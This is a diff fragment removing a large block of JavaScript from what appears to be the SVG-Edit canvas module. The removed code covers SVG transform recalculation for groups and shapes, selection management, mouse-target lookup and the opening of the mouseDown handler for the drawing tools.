-// 						}
-// 					}
-				
-					var angle = getRotationAngle(child);
-					var old_start_transform = start_transform;
-					var childxforms = [];
-					start_transform = child.getAttribute("transform");
-					if(angle || hasMatrixTransform(childTlist)) {
-						var e2t = svgroot.createSVGTransform();
-						e2t.setMatrix(matrixMultiply(tm, sm, tmn, m));
-						childTlist.clear();
-						childTlist.appendItem(e2t);
-						childxforms.push(e2t);
-					}
-					// if not rotated or skewed, push the [T][S][-T] down to the child
-					else {
-						// update the transform list with translate,scale,translate
-						
-						// slide the [T][S][-T] from the front to the back
-						// [T][S][-T][M] = [M][T2][S2][-T2]
-						
-						// (only bringing [-T] to the right of [M])
-						// [T][S][-T][M] = [T][S][M][-T2]
-						// [-T2] = [M_inv][-T][M]
-						var t2n = matrixMultiply(m.inverse(), tmn, m);
-						// [T2] is always negative translation of [-T2]
-						var t2 = svgroot.createSVGMatrix();
-						t2.e = -t2n.e;
-						t2.f = -t2n.f;
-						
-						// [T][S][-T][M] = [M][T2][S2][-T2]
-						// [S2] = [T2_inv][M_inv][T][S][-T][M][-T2_inv]
-						var s2 = matrixMultiply(t2.inverse(), m.inverse(), tm, sm, tmn, m, t2n.inverse());
-
-						var translateOrigin = svgroot.createSVGTransform(),
-							scale = svgroot.createSVGTransform(),
-							translateBack = svgroot.createSVGTransform();
-						translateOrigin.setTranslate(t2n.e, t2n.f);
-						scale.setScale(s2.a, s2.d);
-						translateBack.setTranslate(t2.e, t2.f);
-						childTlist.appendItem(translateBack);
-						childTlist.appendItem(scale);
-						childTlist.appendItem(translateOrigin);
-						childxforms.push(translateBack);
-						childxforms.push(scale);
-						childxforms.push(translateOrigin);
-// 						logMatrix(translateBack.matrix);
-// 						logMatrix(scale.matrix);
-					} // not rotated
-					batchCmd.addSubCommand( recalculateDimensions(child) );
-					// TODO: If any <use> have this group as a parent and are 
-					// referencing this child, then we need to impose a reverse 
-					// scale on it so that when it won't get double-translated
-//						var uses = selected.getElementsByTagNameNS(svgns, "use");
-//						var href = "#"+child.id;
-//						var u = uses.length;
-//						while (u--) {
-//							var useElem = uses.item(u);
-//							if(href == getHref(useElem)) {
-//								var usexlate = svgroot.createSVGTransform();
-//								usexlate.setTranslate(-tx,-ty);
-//								getTransformList(useElem).insertItemBefore(usexlate,0);
-//								batchCmd.addSubCommand( recalculateDimensions(useElem) );
-//							}
-//						}
-					start_transform = old_start_transform;
-				} // element
-			} // for each child
-			// Remove these transforms from group
-			tlist.removeItem(N-1);
-			tlist.removeItem(N-2);
-			tlist.removeItem(N-3);
-		}
-		else if (N >= 3 && tlist.getItem(N-1).type == 1)
-		{
-			operation = 3; // scale
-			m = transformListToTransform(tlist).matrix;
-			var e2t = svgroot.createSVGTransform();
-			e2t.setMatrix(m);
-			tlist.clear();
-			tlist.appendItem(e2t);
-		}			
-		// next, check if the first transform was a translate 
-		// if we had [ T1 ] [ M ] we want to transform this into [ M ] [ T2 ]
-		// therefore [ T2 ] = [ M_inv ] [ T1 ] [ M ]
-		else if ( (N == 1 || (N > 1 && tlist.getItem(1).type != 3)) && 
-			tlist.getItem(0).type == 2) 
-		{
-			operation = 2; // translate
-			var T_M = transformListToTransform(tlist).matrix;
-			tlist.removeItem(0);
-			var M_inv = transformListToTransform(tlist).matrix.inverse();
-			var M2 = matrixMultiply( M_inv, T_M );
-			
-			tx = M2.e;
-			ty = M2.f;
-
-			if (tx != 0 || ty != 0) {
-				// we pass the translates down to the individual children
-				var children = selected.childNodes;
-				var c = children.length;
-				
-				var clipPaths_done = [];
-				
-				while (c--) {
-					var child = children.item(c);
-					if (child.nodeType == 1) {
-					
-						// Check if child has clip-path
-						if(child.getAttribute('clip-path')) {
-							// tx, ty
-							var attr = child.getAttribute('clip-path');
-							if(clipPaths_done.indexOf(attr) === -1) {
-								updateClipPath(attr, tx, ty);
-								clipPaths_done.push(attr);
-							}							
-						}
-
-						var old_start_transform = start_transform;
-						start_transform = child.getAttribute("transform");
-						
-						var childTlist = getTransformList(child);
-						// some children might not have a transform (<metadata>, <defs>, etc)
-						if (childTlist) {
-							var newxlate = svgroot.createSVGTransform();
-							newxlate.setTranslate(tx,ty);
-							if(childTlist.numberOfItems) {
-								childTlist.insertItemBefore(newxlate, 0);
-							} else {
-								childTlist.appendItem(newxlate);
-							}
-							batchCmd.addSubCommand( recalculateDimensions(child) );
-							// If any <use> have this group as a parent and are 
-							// referencing this child, then impose a reverse translate on it
-							// so that when it won't get double-translated
-							var uses = selected.getElementsByTagNameNS(svgns, "use");
-							var href = "#"+child.id;
-							var u = uses.length;
-							while (u--) {
-								var useElem = uses.item(u);
-								if(href == getHref(useElem)) {
-									var usexlate = svgroot.createSVGTransform();
-									usexlate.setTranslate(-tx,-ty);
-									getTransformList(useElem).insertItemBefore(usexlate,0);
-									batchCmd.addSubCommand( recalculateDimensions(useElem) );
-								}
-							}
-							start_transform = old_start_transform;
-						}
-					}
-				}
-				
-				clipPaths_done = [];
-				
-				start_transform = old_start_transform;
-			}
-		}
-		// else, a matrix imposition from a parent group
-		// keep pushing it down to the children
-		else if (N == 1 && tlist.getItem(0).type == 1 && !gangle) {
-			operation = 1;
-			var m = tlist.getItem(0).matrix,
-				children = selected.childNodes,
-				c = children.length;
-			while (c--) {
-				var child = children.item(c);
-				if (child.nodeType == 1) {
-					var old_start_transform = start_transform;
-					start_transform = child.getAttribute("transform");
-					var childTlist = getTransformList(child);
-					
-					if (!childTlist) continue;
-					
-					var em = matrixMultiply(m, transformListToTransform(childTlist).matrix);
-					var e2m = svgroot.createSVGTransform();
-					e2m.setMatrix(em);
-					childTlist.clear();
-					childTlist.appendItem(e2m,0);
-					
-					batchCmd.addSubCommand( recalculateDimensions(child) );
-					start_transform = old_start_transform;
-					
-					// Convert stroke
-					// TODO: Find out if this should actually happen somewhere else
-					var sw = child.getAttribute("stroke-width");
-					if (child.getAttribute("stroke") !== "none" && !isNaN(sw)) {
-						var avg = (Math.abs(em.a) + Math.abs(em.d)) / 2;
-						child.setAttribute('stroke-width', sw * avg);
-					}
-
-				}
-			}
-			tlist.clear();
-		}
-		// else it was just a rotate
-		else {
-			if (gangle) {
-				var newRot = svgroot.createSVGTransform();
-				newRot.setRotate(gangle,newcenter.x,newcenter.y);
-				if(tlist.numberOfItems) {
-					tlist.insertItemBefore(newRot, 0);
-				} else {
-					tlist.appendItem(newRot);
-				}
-			}
-			if (tlist.numberOfItems == 0) {
-				selected.removeAttribute("transform");
-			}
-			return null;			
-		}
-		
-		// if it was a translate, put back the rotate at the new center
-		if (operation == 2) {
-			if (gangle) {
-				newcenter = {
-					x: oldcenter.x + first_m.e,
-					y: oldcenter.y + first_m.f
-				};
-			
-				var newRot = svgroot.createSVGTransform();
-				newRot.setRotate(gangle,newcenter.x,newcenter.y);
-				if(tlist.numberOfItems) {
-					tlist.insertItemBefore(newRot, 0);
-				} else {
-					tlist.appendItem(newRot);
-				}
-			}
-		}
-		// if it was a resize
-		else if (operation == 3) {
-			var m = transformListToTransform(tlist).matrix;
-			var roldt = svgroot.createSVGTransform();
-			roldt.setRotate(gangle, oldcenter.x, oldcenter.y);
-			var rold = roldt.matrix;
-			var rnew = svgroot.createSVGTransform();
-			rnew.setRotate(gangle, newcenter.x, newcenter.y);
-			var rnew_inv = rnew.matrix.inverse(),
-				m_inv = m.inverse(),
-				extrat = matrixMultiply(m_inv, rnew_inv, rold, m);
-
-			tx = extrat.e;
-			ty = extrat.f;
-
-			if (tx != 0 || ty != 0) {
-				// now push this transform down to the children
-				// we pass the translates down to the individual children
-				var children = selected.childNodes;
-				var c = children.length;
-				while (c--) {
-					var child = children.item(c);
-					if (child.nodeType == 1) {
-						var old_start_transform = start_transform;
-						start_transform = child.getAttribute("transform");
-						var childTlist = getTransformList(child);
-						var newxlate = svgroot.createSVGTransform();
-						newxlate.setTranslate(tx,ty);
-						if(childTlist.numberOfItems) {
-							childTlist.insertItemBefore(newxlate, 0);
-						} else {
-							childTlist.appendItem(newxlate);
-						}
-
-						batchCmd.addSubCommand( recalculateDimensions(child) );
-						start_transform = old_start_transform;
-					}
-				}
-			}
-			
-			if (gangle) {
-				if(tlist.numberOfItems) {
-					tlist.insertItemBefore(rnew, 0);
-				} else {
-					tlist.appendItem(rnew);
-				}
-			}
-		}
-	}
-	// else, it's a non-group
-	else {
-
-		// FIXME: box might be null for some elements (<metadata> etc), need to handle this
-		var box = svgedit.utilities.getBBox(selected);
-
-		// Paths (and possbly other shapes) will have no BBox while still in <defs>,
-		// but we still may need to recalculate them (see issue 595).
-		// TODO: Figure out how to get BBox from these elements in case they
-		// have a rotation transform
-		
-		if(!box && selected.tagName != 'path') return null;
-		
-
-		var m = svgroot.createSVGMatrix(),
-			// temporarily strip off the rotate and save the old center
-			angle = getRotationAngle(selected);
-		if (angle) {
-			var oldcenter = {x: box.x+box.width/2, y: box.y+box.height/2},
-			newcenter = transformPoint(box.x+box.width/2, box.y+box.height/2,
-							transformListToTransform(tlist).matrix);
-		
-			var a = angle * Math.PI / 180;
-			if ( Math.abs(a) > (1.0e-10) ) {
-				var s = Math.sin(a)/(1 - Math.cos(a));
-			} else {
-				// FIXME: This blows up if the angle is exactly 0!
-				var s = 2/a;
-			}
-			for (var i = 0; i < tlist.numberOfItems; ++i) {
-				var xform = tlist.getItem(i);
-				if (xform.type == 4) {
-					// extract old center through mystical arts
-					var rm = xform.matrix;
-					oldcenter.y = (s*rm.e + rm.f)/2;
-					oldcenter.x = (rm.e - s*rm.f)/2;
-					tlist.removeItem(i);
-					break;
-				}
-			}
-		}
-		
-		// 2 = translate, 3 = scale, 4 = rotate, 1 = matrix imposition
-		var operation = 0;
-		var N = tlist.numberOfItems;
-		
-		// Check if it has a gradient with userSpaceOnUse, in which case
-		// adjust it by recalculating the matrix transform.
-		// TODO: Make this work in Webkit using svgedit.transformlist.SVGTransformList
-		if(!svgedit.browser.isWebkit()) {
-			var fill = selected.getAttribute('fill');
-			if(fill && fill.indexOf('url(') === 0) {
-				var paint = getRefElem(fill);
-				var type = 'pattern';
-				if(paint.tagName !== type) type = 'gradient';
-				var attrVal = paint.getAttribute(type + 'Units');
-				if(attrVal === 'userSpaceOnUse') {
-					//Update the userSpaceOnUse element
-					m = transformListToTransform(tlist).matrix;
-					var gtlist = getTransformList(paint);
-					var gmatrix = transformListToTransform(gtlist).matrix;
-					m = matrixMultiply(m, gmatrix);
-					var m_str = "matrix(" + [m.a,m.b,m.c,m.d,m.e,m.f].join(",") + ")";
-					paint.setAttribute(type + 'Transform', m_str);
-				}
-			}
-		}
-
-		// first, if it was a scale of a non-skewed element, then the second-last  
-		// transform will be the [S]
-		// if we had [M][T][S][T] we want to extract the matrix equivalent of
-		// [T][S][T] and push it down to the element
-		if (N >= 3 && tlist.getItem(N-2).type == 3 && 
-			tlist.getItem(N-3).type == 2 && tlist.getItem(N-1).type == 2) 
-			
-			// Removed this so a <use> with a given [T][S][T] would convert to a matrix. 
-			// Is that bad?
-			//  && selected.nodeName != "use"
-		{
-			operation = 3; // scale
-			m = transformListToTransform(tlist,N-3,N-1).matrix;
-			tlist.removeItem(N-1);
-			tlist.removeItem(N-2);
-			tlist.removeItem(N-3);
-		} // if we had [T][S][-T][M], then this was a skewed element being resized
-		// Thus, we simply combine it all into one matrix
-		else if(N == 4 && tlist.getItem(N-1).type == 1) {
-			operation = 3; // scale
-			m = transformListToTransform(tlist).matrix;
-			var e2t = svgroot.createSVGTransform();
-			e2t.setMatrix(m);
-			tlist.clear();
-			tlist.appendItem(e2t);
-			// reset the matrix so that the element is not re-mapped
-			m = svgroot.createSVGMatrix();
-		} // if we had [R][T][S][-T][M], then this was a rotated matrix-element  
-		// if we had [T1][M] we want to transform this into [M][T2]
-		// therefore [ T2 ] = [ M_inv ] [ T1 ] [ M ] and we can push [T2] 
-		// down to the element
-		else if ( (N == 1 || (N > 1 && tlist.getItem(1).type != 3)) && 
-			tlist.getItem(0).type == 2) 
-		{
-			operation = 2; // translate
-			var oldxlate = tlist.getItem(0).matrix,
-				meq = transformListToTransform(tlist,1).matrix,
-				meq_inv = meq.inverse();
-			m = matrixMultiply( meq_inv, oldxlate, meq );
-			tlist.removeItem(0);
-		}
-		// else if this child now has a matrix imposition (from a parent group)
-		// we might be able to simplify
-		else if (N == 1 && tlist.getItem(0).type == 1 && !angle) {
-			// Remap all point-based elements
-			m = transformListToTransform(tlist).matrix;
-			switch (selected.tagName) {
-				case 'line':
-					changes = $(selected).attr(["x1","y1","x2","y2"]);
-				case 'polyline':
-				case 'polygon':
-					changes.points = selected.getAttribute("points");
-					if(changes.points) {
-						var list = selected.points;
-						var len = list.numberOfItems;
-						changes.points = new Array(len);
-						for (var i = 0; i < len; ++i) {
-							var pt = list.getItem(i);
-							changes.points[i] = {x:pt.x,y:pt.y};
-						}
-					}
-				case 'path':
-					changes.d = selected.getAttribute("d");
-					operation = 1;
-					tlist.clear();
-					break;
-				default:
-					break;
-			}
-		}
-		// if it was a rotation, put the rotate back and return without a command
-		// (this function has zero work to do for a rotate())
-		else {
-			operation = 4; // rotation
-			if (angle) {
-				var newRot = svgroot.createSVGTransform();
-				newRot.setRotate(angle,newcenter.x,newcenter.y);
-				
-				if(tlist.numberOfItems) {
-					tlist.insertItemBefore(newRot, 0);
-				} else {
-					tlist.appendItem(newRot);
-				}
-			}
-			if (tlist.numberOfItems == 0) {
-				selected.removeAttribute("transform");
-			}
-			return null;
-		}
-		
-		// if it was a translate or resize, we need to remap the element and absorb the xform
-		if (operation == 1 || operation == 2 || operation == 3) {
-			remapElement(selected,changes,m);
-		} // if we are remapping
-		
-		// if it was a translate, put back the rotate at the new center
-		if (operation == 2) {
-			if (angle) {
-				if(!hasMatrixTransform(tlist)) {
-					newcenter = {
-						x: oldcenter.x + m.e,
-						y: oldcenter.y + m.f
-					};
-				}
-				var newRot = svgroot.createSVGTransform();
-				newRot.setRotate(angle, newcenter.x, newcenter.y);
-				if(tlist.numberOfItems) {
-					tlist.insertItemBefore(newRot, 0);
-				} else {
-					tlist.appendItem(newRot);
-				}
-			}
-		}
-		// [Rold][M][T][S][-T] became [Rold][M]
-		// we want it to be [Rnew][M][Tr] where Tr is the
-		// translation required to re-center it
-		// Therefore, [Tr] = [M_inv][Rnew_inv][Rold][M]
-		else if (operation == 3 && angle) {
-			var m = transformListToTransform(tlist).matrix;
-			var roldt = svgroot.createSVGTransform();
-			roldt.setRotate(angle, oldcenter.x, oldcenter.y);
-			var rold = roldt.matrix;
-			var rnew = svgroot.createSVGTransform();
-			rnew.setRotate(angle, newcenter.x, newcenter.y);
-			var rnew_inv = rnew.matrix.inverse();
-			var m_inv = m.inverse();
-			var extrat = matrixMultiply(m_inv, rnew_inv, rold, m);
-		
-			remapElement(selected,changes,extrat);
-			if (angle) {
-				if(tlist.numberOfItems) {
-					tlist.insertItemBefore(rnew, 0);
-				} else {
-					tlist.appendItem(rnew);
-				}
-			}
-		}
-	} // a non-group
-
-	// if the transform list has been emptied, remove it
-	if (tlist.numberOfItems == 0) {
-		selected.removeAttribute("transform");
-	}
-	
-	batchCmd.addSubCommand(new ChangeElementCommand(selected, initial));
-	
-	return batchCmd;
-};
-
-// Root Current Transformation Matrix in user units
-var root_sctm = null;
-
-// Group: Selection
-
-// Function: clearSelection
-// Clears the selection.  The 'selected' handler is then called.
-// Parameters: 
-// noCall - Optional boolean that when true does not call the "selected" handler
-var clearSelection = this.clearSelection = function(noCall) {
-	if (selectedElements[0] != null) {
-		var len = selectedElements.length;
-		for (var i = 0; i < len; ++i) {
-			var elem = selectedElements[i];
-			if (elem == null) break;
-			selectorManager.releaseSelector(elem);
-			selectedElements[i] = null;
-		}
-//		selectedBBoxes[0] = null;
-	}
-	if(!noCall) call("selected", selectedElements);
-};
-
-// TODO: do we need to worry about selectedBBoxes here?
-
-
-// Function: addToSelection
-// Adds a list of elements to the selection.  The 'selected' handler is then called.
-//
-// Parameters:
-// elemsToAdd - an array of DOM elements to add to the selection
-// showGrips - a boolean flag indicating whether the resize grips should be shown
-var addToSelection = this.addToSelection = function(elemsToAdd, showGrips) {
-	if (elemsToAdd.length == 0) { return; }
-	// find the first null in our selectedElements array
-	var j = 0;
-	
-	while (j < selectedElements.length) {
-		if (selectedElements[j] == null) { 
-			break;
-		}
-		++j;
-	}
-
-	// now add each element consecutively
-	var i = elemsToAdd.length;
-	while (i--) {
-		var elem = elemsToAdd[i];
-		if (!elem || !svgedit.utilities.getBBox(elem)) continue;
-
-		if(elem.tagName === 'a' && elem.childNodes.length === 1) {
-			// Make "a" element's child be the selected element 
-			elem = elem.firstChild;
-		}
-
-		// if it's not already there, add it
-		if (selectedElements.indexOf(elem) == -1) {
-
-			selectedElements[j] = elem;
-
-			// only the first selectedBBoxes element is ever used in the codebase these days
-//			if (j == 0) selectedBBoxes[0] = svgedit.utilities.getBBox(elem);
-			j++;
-			var sel = selectorManager.requestSelector(elem);
-	
-			if (selectedElements.length > 1) {
-				sel.showGrips(false);
-			}
-		}
-	}
-	call("selected", selectedElements);
-	
-	if (showGrips || selectedElements.length == 1) {
-		selectorManager.requestSelector(selectedElements[0]).showGrips(true);
-	}
-	else {
-		selectorManager.requestSelector(selectedElements[0]).showGrips(false);
-	}
-
-	// make sure the elements are in the correct order
-	// See: http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-compareDocumentPosition
-
-	selectedElements.sort(function(a,b) {
-		if(a && b && a.compareDocumentPosition) {
-			return 3 - (b.compareDocumentPosition(a) & 6);	
-		} else if(a == null) {
-			return 1;
-		}
-	});
-	
-	// Make sure first elements are not null
-	while(selectedElements[0] == null) selectedElements.shift(0);
-};
-
-// Function: selectOnly()
-// Selects only the given elements, shortcut for clearSelection(); addToSelection()
-//
-// Parameters:
-// elems - an array of DOM elements to be selected
-var selectOnly = this.selectOnly = function(elems, showGrips) {
-	clearSelection(true);
-	addToSelection(elems, showGrips);
-}
-
-// TODO: could use slice here to make this faster?
-// TODO: should the 'selected' handler
-
-// Function: removeFromSelection
-// Removes elements from the selection.
-//
-// Parameters:
-// elemsToRemove - an array of elements to remove from selection
-var removeFromSelection = this.removeFromSelection = function(elemsToRemove) {
-	if (selectedElements[0] == null) { return; }
-	if (elemsToRemove.length == 0) { return; }
-
-	// find every element and remove it from our array copy
-	var newSelectedItems = new Array(selectedElements.length);
-		j = 0,
-		len = selectedElements.length;
-	for (var i = 0; i < len; ++i) {
-		var elem = selectedElements[i];
-		if (elem) {
-			// keep the item
-			if (elemsToRemove.indexOf(elem) == -1) {
-				newSelectedItems[j] = elem;
-				j++;
-			}
-			else { // remove the item and its selector
-				selectorManager.releaseSelector(elem);
-			}
-		}
-	}
-	// the copy becomes the master now
-	selectedElements = newSelectedItems;
-};
-
-// Function: selectAllInCurrentLayer
-// Clears the selection, then adds all elements in the current layer to the selection.
-this.selectAllInCurrentLayer = function() {
-	var current_layer = getCurrentDrawing().getCurrentLayer();
-	if (current_layer) {
-		current_mode = "select";
-		selectOnly($(current_group || current_layer).children());
-	}
-};
-
-// Function: getMouseTarget
-// Gets the desired element from a mouse event
-// 
-// Parameters:
-// evt - Event object from the mouse event
-// 
-// Returns:
-// DOM element we want
-var getMouseTarget = this.getMouseTarget = function(evt) {
-	if (evt == null) {
-		return null;
-	}
-	var mouse_target = evt.target;
-	
-	// if it was a <use>, Opera and WebKit return the SVGElementInstance
-	if (mouse_target.correspondingUseElement) mouse_target = mouse_target.correspondingUseElement;
-	
-	// for foreign content, go up until we find the foreignObject
-	// WebKit browsers set the mouse target to the svgcanvas div 
-	if ([mathns, htmlns].indexOf(mouse_target.namespaceURI) >= 0 && 
-		mouse_target.id != "svgcanvas") 
-	{
-		while (mouse_target.nodeName != "foreignObject") {
-			mouse_target = mouse_target.parentNode;
-			if(!mouse_target) return svgroot;
-		}
-	}
-	
-	// Get the desired mouse_target with jQuery selector-fu
-	// If it's root-like, select the root
-	var current_layer = getCurrentDrawing().getCurrentLayer();
-	if([svgroot, container, svgcontent, current_layer].indexOf(mouse_target) >= 0) {
-		return svgroot;
-	}
-	
-	var $target = $(mouse_target);
-
-	// If it's a selection grip, return the grip parent
-	if($target.closest('#selectorParentGroup').length) {
-		// While we could instead have just returned mouse_target, 
-		// this makes it easier to indentify as being a selector grip
-		return selectorManager.selectorParentGroup;
-	}
-
-	while (mouse_target.parentNode !== (current_group || current_layer)) {
-		mouse_target = mouse_target.parentNode;
-	}
-	
-// 	
-// 	// go up until we hit a child of a layer
-// 	while (mouse_target.parentNode.parentNode.tagName == 'g') {
-// 		mouse_target = mouse_target.parentNode;
-// 	}
-	// Webkit bubbles the mouse event all the way up to the div, so we
-	// set the mouse_target to the svgroot like the other browsers
-// 	if (mouse_target.nodeName.toLowerCase() == "div") {
-// 		mouse_target = svgroot;
-// 	}
-	
-	return mouse_target;
-};
-
-// Mouse events
-(function() {
-	var d_attr = null,
-		start_x = null,
-		start_y = null,
-		r_start_x = null,
-		r_start_y = null,
-		init_bbox = {},
-		freehand = {
-			minx: null,
-			miny: null,
-			maxx: null,
-			maxy: null
-		};
-	
-	// - when we are in a create mode, the element is added to the canvas
-	//   but the action is not recorded until mousing up
-	// - when we are in select mode, select the element, remember the position
-	//   and do nothing else
-	var mouseDown = function(evt)
-	{
-		if(canvas.spaceKey || evt.button === 1) return;
-		
-		var right_click = evt.button === 2;
-	
-		if(evt.altKey) { // duplicate when  dragging
-			svgCanvas.cloneSelectedElements(0,0);
-		}
-	
-		root_sctm = svgcontent.getScreenCTM().inverse();
-		
-		var pt = transformPoint( evt.pageX, evt.pageY, root_sctm ),
-			mouse_x = pt.x * current_zoom,
-			mouse_y = pt.y * current_zoom;
-			
-		evt.preventDefault();
-
-		if(right_click) {
-			current_mode = "select";
-			lastClickPoint = pt;
-		}
-		
-		// This would seem to be unnecessary...
-// 		if(['select', 'resize'].indexOf(current_mode) == -1) {
-// 			setGradient();
-// 		}
-		
-		var x = mouse_x / current_zoom,
-			y = mouse_y / current_zoom,
-			mouse_target = getMouseTarget(evt);
-		
-		if(mouse_target.tagName === 'a' && mouse_target.childNodes.length === 1) {
-			mouse_target = mouse_target.firstChild;
-		}
-		
-		// real_x/y ignores grid-snap value
-		var real_x = r_start_x = start_x = x;
-		var real_y = r_start_y = start_y = y;
-
-		if(curConfig.gridSnapping){
-			x = snapToGrid(x);
-			y = snapToGrid(y);
-			start_x = snapToGrid(start_x);
-			start_y = snapToGrid(start_y);
-		}
-
-		// if it is a selector grip, then it must be a single element selected, 
-		// set the mouse_target to that and update the mode to rotate/resize
-		
-		if (mouse_target == selectorManager.selectorParentGroup && selectedElements[0] != null) {
-			var grip = evt.target;
-			var griptype = elData(grip, "type");
-			// rotating
-			if (griptype == "rotate") {
-				current_mode = "rotate";
-			}
-			// resizing
-			else if(griptype == "resize") {
-				current_mode = "resize";
-				current_resize_mode = elData(grip, "dir");
-			}
-			mouse_target = selectedElements[0];
-		}
-		
-		start_transform = mouse_target.getAttribute("transform");
-		var tlist = getTransformList(mouse_target);
-		switch (current_mode) {
-			case "select":
-				started = true;
-				current_resize_mode = "none";
-				if(right_click) started = false;
-				
-				if (mouse_target != svgroot) {
-					// if this element is not yet selected, clear selection and select it
-					if (selectedElements.indexOf(mouse_target) == -1) {
-						// only clear selection if shift is not pressed (otherwise, add 
-						// element to selection)
-						if (!evt.shiftKey) {
-							// No need to do the call here as it will be done on addToSelection
-							clearSelection(true);
-						}
-						addToSelection([mouse_target]);
-						justSelected = mouse_target;
-						pathActions.clear();
-					}
-					// else if it's a path, go into pathedit mode in mouseup
-					
-					if(!right_click) {
-						// insert a dummy transform so if the element(s) are moved it will have
-						// a transform to use for its translate
-						for (var i = 0; i < selectedElements.length; ++i) {
-							if(selectedElements[i] == null) continue;
-							var slist = getTransformList(selectedElements[i]);
-							if(slist.numberOfItems) {
-								slist.insertItemBefore(svgroot.createSVGTransform(), 0);
-							} else {
-								slist.appendItem(svgroot.createSVGTransform());
-							}
-						}
-					}
-				}
-				else if(!right_click){
-					clearSelection();
-					current_mode = "multiselect";
-					if (rubberBox == null) {
-						rubberBox = selectorManager.getRubberBandBox();
-					}
-					r_start_x *= current_zoom;
-					r_start_y *= current_zoom;
-// 					console.log('p',[evt.pageX, evt.pageY]);					
-// 					console.log('c',[evt.clientX, evt.clientY]);	
-// 					console.log('o',[evt.offsetX, evt.offsetY]);	
-// 					console.log('s',[start_x, start_y]);
-					
-					assignAttributes(rubberBox, {
-						'x': r_start_x,
-						'y': r_start_y,
-						'width': 0,
-						'height': 0,
-						'display': 'inline'
-					}, 100);
-				}
-				break;
-			case "zoom": 
-				started = true;
-				if (rubberBox == null) {
-					rubberBox = selectorManager.getRubberBandBox();
-				}
-				assignAttributes(rubberBox, {
-						'x': real_x * current_zoom,
-						'y': real_x * current_zoom,
-						'width': 0,
-						'height': 0,
-						'display': 'inline'
-				}, 100);
-				break;
-			case "resize":
-				started = true;
-				start_x = x;
-				start_y = y;
-				
-				// Getting the BBox from the selection box, since we know we
-				// want to orient around it
-				init_bbox = svgedit.utilities.getBBox($('#selectedBox0')[0]);
-				var bb = {};
-				$.each(init_bbox, function(key, val) {
-					bb[key] = val/current_zoom;
-				});
-				init_bbox = bb;
-				
-				// append three dummy transforms to the tlist so that
-				// we can translate,scale,translate in mousemove
-				var pos = getRotationAngle(mouse_target)?1:0;
-				
-				if(hasMatrixTransform(tlist)) {
-					tlist.insertItemBefore(svgroot.createSVGTransform(), pos);
-					tlist.insertItemBefore(svgroot.createSVGTransform(), pos);
-					tlist.insertItemBefore(svgroot.createSVGTransform(), pos);
-				} else {
-					tlist.appendItem(svgroot.createSVGTransform());
-					tlist.appendItem(svgroot.createSVGTransform());
-					tlist.appendItem(svgroot.createSVGTransform());
-					
-					if(svgedit.browser.supportsNonScalingStroke()) {
-						mouse_target.style.vectorEffect = 'non-scaling-stroke';
-						var all = mouse_target.getElementsByTagName('*'), len = all.length;
-						for(var i = 0; i < all.length; i++) {
-							all[i].style.vectorEffect = 'non-scaling-stroke';
-						}
-					}
-				}
-				break;
-			case "fhellipse":
-			case "fhrect":
-			case "fhpath":
-				started = true;
-				d_attr = real_x + "," + real_y + " ";
-				var stroke_w = cur_shape.stroke_width == 0?1:cur_shape.stroke_width;
-				addSvgElementFromJson({
-					"element": "polyline",
-					"curStyles": true,
-					"attr": {
-						"points": d_attr,
-						"id": getNextId(),
-						"fill": "none",
-						"opacity": cur_shape.opacity / 2,
-						"stroke-linecap": "round",
-						"style": "pointer-events:none"
-					}
-				});
-				freehand.minx = real_x;
-				freehand.maxx = real_x;
-				freehand.miny = real_y;
-				freehand.maxy = real_y;
-				break;
-			case "image":
-				started = true;
-				var newImage = addSvgElementFromJson({
-					"element": "image",
-					"attr": {
-						"x": x,
-						"y": y,
-						"width": 0,
-						"height": 0,
-						"id": getNextId(),
-						"opacity": cur_shape.opacity / 2,
-						"style": "pointer-events:inherit"
-					}
-				});
-				setHref(newImage, last_good_img_url);
-				preventClickDefault(newImage);
-				break;
-			case "square":
-				// FIXME: once we create the rect, we lose information that this was a square
-				// (for resizing purposes this could be important)
-			case "rect":
-				started = true;
-				start_x = x;
-				start_y = y;
-				addSvgElementFromJson({
-					"element": "rect",
-					"curStyles": true,
-					"attr": {
-						"x": x,
-						"y": y,
-						"width": 0,
-						"height": 0,
-						"id": getNextId(),
-						"opacity": cur_shape.opacity / 2
-					}
-				});
-				break;
-			case "line":
-				started = true;
-				var stroke_w = cur_shape.stroke_width == 0?1:cur_shape.stroke_width;
-				addSvgElementFromJson({
-					"element": "line",
-					"curStyles": true,
-					"attr": {
-						"x1": x,
-						"y1": y,
-						"x2": x,
-						"y2": y,
-						"id": getNextId(),
-						"stroke": cur_shape.stroke,
-						"stroke-width": stroke_w,
-						"stroke-dasharray": cur_shape.stroke_dasharray,
-						"stroke-linejoin": cur_shape.stroke_linejoin,
-						"stroke-linecap": cur_shape.stroke_linecap,
-						"stroke-opacity": cur_shape.stroke_opacity,
-						"fill": "none",
-						"opacity": cur_shape.opacity / 2,
-						"style": "pointer-events:none"
-					}
-				});
-				break;
-			case "circle":
-				started = true;
-				addSvgElementFromJson({
-					"element": "circle",
-					"curStyles": true,
-					"attr": {
-						"cx": x,
-						"cy": y,
-						"r": 0,
-						"id": getNextId(),
-						"opacity": cur_shape.opacity / 2
-					}
-				});
-				break;
-			case "ellipse":
-				started = true;
-				addSvgElementFromJson({
-					"element": "ellipse",
-					"curStyles": true,
-					"attr": {
-						"cx": x,
-						"cy": y,
-						"rx": 0,
-						"ry": 0,
-						"id": getNextId(),
-						"opacity": cur_shape.opacity / 2
-					}
-				});
-				break;
-			case "text":
-				started = true;
-				var newText = addSvgElementFromJson({
-					"element": "text",
-					"curStyles": true,
-					"attr": {
-						"x": x,
-						"y": y,
-						"id": getNextId(),
-						"fill": cur_text.fill,
-						"stroke-width": cur_text.stroke_width,
-						"font-size": cur_text.font_size,
-						"font-family": cur_text.font_family,
-						"text-anchor": "middle",
-						"xml:space": "preserve",
-						"opacity": cur_shape.opacity
-					}
-				});
-// 					newText.textContent = "text";
-				break;
-			case "path":
-				// Fall through
-			case "pathedit":
-				start_x *= current_zoom;
-				start_y *= current_zoom;
-				pathActions.mouseDown(evt, mouse_target, start_x, start_y);
-				started = true;
-				break;
-			case "textedit":
-				start_x *= current_zoom;
-				start_y *= current_zoom;
-				textActions.mouseDown(evt, mouse_target, start_x, start_y);
-				started = true;
-				break;
-			case "rotate":
-				started = true;
-				// we are starting an undoable change (a drag-rotation)
-				canvas.undoMgr.beginUndoableChange("transform", selectedElements);
-				break;
-			default:
-				// This could occur in an extension
-				break;
-		}
-		
-		var ext_result = runExtensions("mouseDown", {
-			event: evt,
-			start_x: start_x,
-			start_y: start_y,
-			selectedElements: selectedElements
-		}, true);
-		
